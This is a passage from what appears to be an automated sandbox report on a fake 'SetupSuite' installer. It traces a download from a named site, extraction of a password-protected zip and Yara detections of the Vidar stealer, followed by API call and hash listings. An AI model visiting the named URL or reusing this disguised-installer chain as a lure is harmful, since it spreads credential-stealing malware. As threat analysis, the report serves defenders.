2024-04-05 18:11:26 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6f 4b 78 53 4c 37 77 32 49 6b 69 31 34 49 33 49 41 78 56 65 36 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: oKxSL7w2Iki14I3IAxVe6w.0Payload parsing failed.

Target ID:	0
Start time:	20:10:16
Start date:	05/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	20:10:21
Start date:	05/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2228,i,1968892779595750775,1565356309331752868,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	20:10:23
Start date:	05/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://fahrerdokument.com/zip3/"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:10:40
Start date:	05/04/2024
Path:	C:\Windows\SysWOW64\unarchiver.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\Setup7-main (1).zip"
Imagebase:	0x60000
File size:	12'800 bytes
MD5 hash:	16FF3CC6CC330A08EED70CBC1D35F5D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:10:40
Start date:	05/04/2024
Path:	C:\Windows\SysWOW64\7za.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\221ppxeg.fmw" "C:\Users\user\Downloads\Setup7-main (1).zip"
Imagebase:	0x880000
File size:	289'792 bytes
MD5 hash:	77E556CDFDC5C592F5C46DB4127C6F4C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:10:40
Start date:	05/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	20:10:41
Start date:	05/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C "C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	20:10:41
Start date:	05/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	20:10:41
Start date:	05/04/2024
Path:	C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe
Imagebase:	0x420000
File size:	18'984'288 bytes
MD5 hash:	DDDA012671F0CA2CA213060073B063E2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 12%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	20:10:43
Start date:	05/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\cmd.exe
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000C.00000002.2588979306.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	20:10:43
Start date:	05/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	20:11:03
Start date:	05/04/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x2b0000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000F.00000002.2613857309.00000000030D3000.00000002.00000001.01000000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	20:11:10
Start date:	05/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3852 -s 460
Imagebase:	0xac0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	21.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	73
Total number of Limit Nodes:	4

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0095B1D6 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 0095B208

Memory Dump Source

Source File: 00000006.00000002.2616307938.000000000095A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_95a000_unarchiver.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 1dadeeb5e20e87ab935761083e8e0335b77b7f7fdddafc7eab811e0d85275c54
Instruction ID: 9423362f19fb8797307db6b20c1088fff0b2e671ea927325689e727d3f0aec0d
Opcode Fuzzy Hash: 1dadeeb5e20e87ab935761083e8e0335b77b7f7fdddafc7eab811e0d85275c54
Instruction Fuzzy Hash: 3301D1708042449FDB10DF16E88976AFBE4EF14322F08C4AADD588F652D379A448CFB2

Uniqueness

Uniqueness Score: -1.00%

Function 04820C99 Relevance: 3.8, Strings: 3, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`bj, xrefs: 04820D37
Pdj, xrefs: 04820CC8
`bj, xrefs: 04820D62

Memory Dump Source

Source File: 00000006.00000002.2618024620.0000000004820000.00000040.00000800.00020000.00000000.sdmp, Offset: 04820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4820000_unarchiver.jbxd

Similarity

API ID:
String ID: Pdj$`bj$`bj
API String ID: 0-1691046027
Opcode ID: bfc5fdde8287ed400cf9761a6162faa51581936fe55178167859881f85b809f4
Instruction ID: 7cb864037d295e0f68dbe8ae83d0cbebd1e549a69c1f6361c9592baeaec4c0a3
Opcode Fuzzy Hash: bfc5fdde8287ed400cf9761a6162faa51581936fe55178167859881f85b809f4
Instruction Fuzzy Hash: 412127B07052148FCB16EB39C9907AE7AD39FC6208B45883CD585DB392DF35ED068792

Uniqueness

Uniqueness Score: -1.00%

Function 04820CA8 Relevance: 3.8, Strings: 3, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`bj, xrefs: 04820D37
Pdj, xrefs: 04820CC8
`bj, xrefs: 04820D62

Memory Dump Source

Source File: 00000006.00000002.2618024620.0000000004820000.00000040.00000800.00020000.00000000.sdmp, Offset: 04820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4820000_unarchiver.jbxd

Similarity

API ID:
String ID: Pdj$`bj$`bj
API String ID: 0-1691046027
Opcode ID: 80ca0f3bbd58f76bd15067e97d425904eb29a1f33b80f2028190bd22113ba0cd
Instruction ID: f7139757f03105e8fc5440a0c26e550f93cbb46d2ac8b9e86a1889051a054a8b
Opcode Fuzzy Hash: 80ca0f3bbd58f76bd15067e97d425904eb29a1f33b80f2028190bd22113ba0cd
Instruction Fuzzy Hash: 7C21E2B07042148FCB15EB39C59076EBAE7AFC6208B45883CD586DB386DF75ED068792

Uniqueness

Uniqueness Score: -1.00%

Function 04820799 Relevance: 2.8, Strings: 2, Instructions: 284
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

:@}j, xrefs: 04820822
:@}j, xrefs: 048208B5

Memory Dump Source

Source File: 00000006.00000002.2618024620.0000000004820000.00000040.00000800.00020000.00000000.sdmp, Offset: 04820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4820000_unarchiver.jbxd

Similarity

API ID:
String ID: :@}j$:@}j
API String ID: 0-3168834276
Opcode ID: b046513c48200d418a89dc212093d9981de7e3937cb91ebb03157c85d30e8e90
Instruction ID: e5fb430b862edc45297dc51a36490b6449d5361b030afcfe52c50b6945db80fe
Opcode Fuzzy Hash: b046513c48200d418a89dc212093d9981de7e3937cb91ebb03157c85d30e8e90
Instruction Fuzzy Hash: A3A16D30B042148FDB04AB74DA6577E77F3AB89308F158829DA06DB399DF78DD828B51

Uniqueness

Uniqueness Score: -1.00%

Function 0095B246 Relevance: 1.6, APIs: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E24), ref: 0095B2F3

Memory Dump Source

Source File: 00000006.00000002.2616307938.000000000095A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_95a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 5c36c4c192cd4ae8714e06ad05783365e0d7f5b475b3b021663eed49225fce4b
Instruction ID: 22cee9a5dd1bd4542d78434a582ca6294f3ea884e1197d98c95162ec1ffe7767
Opcode Fuzzy Hash: 5c36c4c192cd4ae8714e06ad05783365e0d7f5b475b3b021663eed49225fce4b
Instruction Fuzzy Hash: 87319271504344AFEB228B61DC45FA6BFFCEF05310F05889AE985DB162D338A909DB71

Uniqueness

Uniqueness Score: -1.00%

Function 0095AD04 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E24), ref: 0095ADA7

Memory Dump Source

Source File: 00000006.00000002.2616307938.000000000095A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_95a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 2001375cf27bfd3c28619d688f16d5076bc07320f96891a354cd47cbf7d95e7e
Instruction ID: 393ad10986ca5d31c9e26f5c72b2d7a690981001214bf612a82f03364f13e2bd
Opcode Fuzzy Hash: 2001375cf27bfd3c28619d688f16d5076bc07320f96891a354cd47cbf7d95e7e
Instruction Fuzzy Hash: F431A171504384AFEB228B65CC45FA7BFECEF05210F04489AF985DB552D228A809DB71

Uniqueness

Uniqueness Score: -1.00%

Function 0095AB76 Relevance: 1.6, APIs: 1, Instructions: 93
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreatePipe.KERNELBASE(?,00000E24,?,?), ref: 0095AC36

Memory Dump Source

Source File: 00000006.00000002.2616307938.000000000095A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_95a000_unarchiver.jbxd

Similarity

API ID: CreatePipe
String ID:
API String ID: 2719314638-0
Opcode ID: 1fbfadf1fb07279534cb0c67500ecbd3b74d981428146755a1713b499d871e54
Instruction ID: 595ab280bb421936960f2b8bfeed13664fdace2a3440bf5a9d6bd24d64bd39f1
Opcode Fuzzy Hash: 1fbfadf1fb07279534cb0c67500ecbd3b74d981428146755a1713b499d871e54
Instruction Fuzzy Hash: 83314C6150E3C06FD3138B718C65A66BFB4EF47610F1A84CBE8C4DF1A3D2696919C762

Uniqueness

Uniqueness Score: -1.00%

Function 0095A5DC Relevance: 1.6, APIs: 1, Instructions: 90
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 0095A67D

Memory Dump Source

Source File: 00000006.00000002.2616307938.000000000095A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_95a000_unarchiver.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b88fb3339d38febac4e4e70e59d21037fb7a31b82b3966834267aa6b896a13d3
Instruction ID: 015cadc4fa5fd154273e2698a6543929f78127a15209b773c74fcf49c1511493
Opcode Fuzzy Hash: b88fb3339d38febac4e4e70e59d21037fb7a31b82b3966834267aa6b896a13d3
Instruction Fuzzy Hash: DA318F71505340AFE721CF66DC45F66BBE8EF05220F08859EE9858B252D365E809CB75

Uniqueness

Uniqueness Score: -1.00%

Function 0095A120 Relevance: 1.6, APIs: 1, Instructions: 83
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindNextFileW.KERNELBASE(?,00000E24,?,?), ref: 0095A1C2

Memory Dump Source

Source File: 00000006.00000002.2616307938.000000000095A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_95a000_unarchiver.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: ae7eb976369076d20cad049b45b4ddea26f0a2185cb90e1f4669d898e4408b9b
Instruction ID: 7b19197e9d01bb31f717b2eb7ffb5f1b5f07fe18d644c99833e4c017b20747b5
Opcode Fuzzy Hash: ae7eb976369076d20cad049b45b4ddea26f0a2185cb90e1f4669d898e4408b9b
Instruction Fuzzy Hash: D721B27150D3C06FD3128B258C51BA6BFB4EF87610F0985CBD9C49F193D229A919C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 0095AD2A Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E24), ref: 0095ADA7

Memory Dump Source

Source File: 00000006.00000002.2616307938.000000000095A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_95a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: adc86ea1997d7d5e01099d9ddefa1de16e01686acbfda34813fd90a09efb0cca
Instruction ID: 5d8d17d2573b0a077800420d12ed02fd370f2bc97b28727704bbbccf81a45d37
Opcode Fuzzy Hash: adc86ea1997d7d5e01099d9ddefa1de16e01686acbfda34813fd90a09efb0cca
Instruction Fuzzy Hash: BD21DE71500204AFEB21DF61CC45FABBBECEF04325F04886AEE858A551D738A4488BA1

Uniqueness

Uniqueness Score: -1.00%

Function 0095B276 Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E24), ref: 0095B2F3

Memory Dump Source

Source File: 00000006.00000002.2616307938.000000000095A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_95a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 841d9208d250f24cdbe9d36c96741831de99ba89b3edaeabe27c9331699f6683
Instruction ID: 3427fe045f6550de3d481759c0d90726848aff86ebb27fbd210448a3a4ffd267
Opcode Fuzzy Hash: 841d9208d250f24cdbe9d36c96741831de99ba89b3edaeabe27c9331699f6683
Instruction Fuzzy Hash: CC21B071500204AFEB21DF61DC45FAABBECEF04315F04886AEE859B551D738A5489BB1

Uniqueness

Uniqueness Score: -1.00%

Function 0095A370 Relevance: 1.6, APIs: 1, Instructions: 80
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExW.KERNELBASE(?,00000E24,4246C70C,00000000,00000000,00000000,00000000), ref: 0095A40C

Memory Dump Source

Source File: 00000006.00000002.2616307938.000000000095A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_95a000_unarchiver.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 0d1dd3e37c7ba0bd45709d9de2d5001fac81d0c936a58573475e571beb041ba6
Instruction ID: b1727cd717fbc728903cbaef705390693df70534ce7814862dc22109a9f40a1d
Opcode Fuzzy Hash: 0d1dd3e37c7ba0bd45709d9de2d5001fac81d0c936a58573475e571beb041ba6
Instruction Fuzzy Hash: A1217C75604744AFD721CF11CC84FA2BBECEF05710F08859AE985CB262D368E908CB76

Uniqueness

Uniqueness Score: -1.00%

Function 0095A850 Relevance: 1.6, APIs: 1, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNELBASE(?,00000E24,4246C70C,00000000,00000000,00000000,00000000), ref: 0095A8DE

Memory Dump Source

Source File: 00000006.00000002.2616307938.000000000095A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_95a000_unarchiver.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 043931f95585cc3a42f16dba2bcb09541cddc330a3b94f2e69e9b27b3363173b
Instruction ID: 74f8bb5ee9ee8a426d4ab6eacdf936cceca09c983284d498072c65be9d92c53a
Opcode Fuzzy Hash: 043931f95585cc3a42f16dba2bcb09541cddc330a3b94f2e69e9b27b3363173b
Instruction Fuzzy Hash: D721C1715083806FEB228B21DC44F66BFF8EF46714F0984DAE9848F152C228A909C776

Uniqueness

Uniqueness Score: -1.00%

Function 0095A933 Relevance: 1.6, APIs: 1, Instructions: 77
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,00000E24,4246C70C,00000000,00000000,00000000,00000000), ref: 0095A9C1

Memory Dump Source

Source File: 00000006.00000002.2616307938.000000000095A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_95a000_unarchiver.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 5336eb9ac521b419692bd6c6163222ce295f30de607b99e3266ce718f9bc5114
Instruction ID: 55cb014efd8237e79a5c1ae29f11617daa9d70e0f19111a67ad1ba41c71ede61
Opcode Fuzzy Hash: 5336eb9ac521b419692bd6c6163222ce295f30de607b99e3266ce718f9bc5114
Instruction Fuzzy Hash: AD21A171509380AFDB22CF61CC45F96BFB8EF46314F08849AE9849F152C369A409CBB6

Uniqueness

Uniqueness Score: -1.00%

Function 0095A5FE Relevance: 1.6, APIs: 1, Instructions: 76
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 0095A67D

Memory Dump Source

Source File: 00000006.00000002.2616307938.000000000095A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_95a000_unarchiver.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 6b1d160020365eeec89652a4ee228e56d338a10c09fc8be93a234dd5513945d6
Instruction ID: a906d3811c6462d30fb2738da22779fb61434bf081ee07534a31ffd6df891eb4
Opcode Fuzzy Hash: 6b1d160020365eeec89652a4ee228e56d338a10c09fc8be93a234dd5513945d6
Instruction Fuzzy Hash: CB21C471601204AFE721DF26DC85F66FBE8EF08311F088959ED858B251D379E808CB76

Uniqueness

Uniqueness Score: -1.00%

Function 0095A78F Relevance: 1.6, APIs: 1, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE(?,00000E24,4246C70C,00000000,00000000,00000000,00000000), ref: 0095A815

Memory Dump Source

Source File: 00000006.00000002.2616307938.000000000095A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_95a000_unarchiver.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: feaea84bac0f778b77c5bb4e08f4073f43b4c5d4d32df929781a82c8b85cbe4c
Instruction ID: f6c809f0bbf65c4e0434e8f44ac9a813fad5b37159dad939c22c25da3095f963
Opcode Fuzzy Hash: feaea84bac0f778b77c5bb4e08f4073f43b4c5d4d32df929781a82c8b85cbe4c
Instruction Fuzzy Hash: EB21D5B55083806FE7128B21DC45BA2BFECEF46314F0980DAE9848B193D268A909C776

Uniqueness

Uniqueness Score: -1.00%

Function 0095AA0B Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,?), ref: 0095AA8B

Memory Dump Source

Source File: 00000006.00000002.2616307938.000000000095A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_95a000_unarchiver.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: 502e8843924ba8398cf275957632f5081a2e831bfb36e6576f1f05501dd3656a
Instruction ID: 7cbe986760b70129f576fbf0294b8d615068e0bfc6f6e945b2bfa3f574cc906c
Opcode Fuzzy Hash: 502e8843924ba8398cf275957632f5081a2e831bfb36e6576f1f05501dd3656a
Instruction Fuzzy Hash: 4B2180755083C05FDB12CB29DC55B92BFE8AF06315F0D85EAE984CF153D225D909CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0095A392 Relevance: 1.6, APIs: 1, Instructions: 69registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,00000E24,4246C70C,00000000,00000000,00000000,00000000), ref: 0095A40C

Memory Dump Source

Source File: 00000006.00000002.2616307938.000000000095A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_95a000_unarchiver.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 7d186be04bc8c23deba8a43f28ce5fcd13b080f795b382de09d22676e2e451ac
Instruction ID: 18ceace04aca3df66b91a108fce4c18b5b613f0bed6b35b06475a078d1ea4b0b
Opcode Fuzzy Hash: 7d186be04bc8c23deba8a43f28ce5fcd13b080f795b382de09d22676e2e451ac
Instruction Fuzzy Hash: 02218E75600604AFE720CF66CC85FA6B7ECEF04715F04855AED458B251D368E849CB76

Uniqueness

Uniqueness Score: -1.00%

Function 0095A6D4 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 0095A748

Memory Dump Source

Source File: 00000006.00000002.2616307938.000000000095A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_95a000_unarchiver.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: ab450e107ef9974b6a2adbcbf7497e891e6d8cb6f5fea607591138550c6320dd
Instruction ID: bdd640fc5cde2ead5b01f472c8f47e219a0934772a64e61a4efe56a9ba30219f
Opcode Fuzzy Hash: ab450e107ef9974b6a2adbcbf7497e891e6d8cb6f5fea607591138550c6320dd
Instruction Fuzzy Hash: 1D2192B59097C05FDB128B25DC95792BFB8EF06321F0984DAEC858F1A3D2249909C772

Uniqueness

Uniqueness Score: -1.00%

Function 0095A962 Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E24,4246C70C,00000000,00000000,00000000,00000000), ref: 0095A9C1

Memory Dump Source

Source File: 00000006.00000002.2616307938.000000000095A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_95a000_unarchiver.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7a06ca2d928a0546eb30ad82ec6aacda311c22c1e1a595f1404293505f88aa6d
Instruction ID: 0b1105bb97a650f1fb2695d0e54b8857802ed4678a6f0827bf788c2002f0190e
Opcode Fuzzy Hash: 7a06ca2d928a0546eb30ad82ec6aacda311c22c1e1a595f1404293505f88aa6d
Instruction Fuzzy Hash: 3B110A71500204AFEB21CF65DC85FA6FBE8EF44325F14855AEE459B151C378A448CBB6

Uniqueness

Uniqueness Score: -1.00%

Function 0095A882 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000E24,4246C70C,00000000,00000000,00000000,00000000), ref: 0095A8DE

Memory Dump Source

Source File: 00000006.00000002.2616307938.000000000095A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_95a000_unarchiver.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d9d1293c32d8dee7b233d4f4d12f01e4098b7b9aa8abca64297d8cc26029161d
Instruction ID: 301f388d8cb73ab9e9872be049ab97b6bfe40f21bcba49d9e4ff6dc1824a24d2
Opcode Fuzzy Hash: d9d1293c32d8dee7b233d4f4d12f01e4098b7b9aa8abca64297d8cc26029161d
Instruction Fuzzy Hash: 1F110A71500304AFEB21DF55DC85F66FBE8EF44325F14845AEE459B141C378A509CBB6

Uniqueness

Uniqueness Score: -1.00%

Function 0095A2AE Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 0095A30C

Memory Dump Source

Source File: 00000006.00000002.2616307938.000000000095A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0095A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_95a000_unarchiver.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: e84e9edcf1ea46eac58e6a24275ede237ae4f7d41985661fbd49b4963ce8602e
Instruction ID: 52550f93f891ce9ab03b0a80e4ebc964747eb16de29bcee9a76719c3f1a410d5
Opcode Fuzzy Hash: e84e9edcf1ea46eac58e6a24275ede237ae4f7d41985661fbd49b4963ce8602e
Instruction Fuzzy Hash: 551191754093C49FDB228B25DC94A52BFB4EF17225F0981DBDD848F163D269A809CB72

Uniqueness

Uniqueness Score: -1.00%

Function 0095AF8B Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(?), ref: 0095AFE4

Memory Dump Source

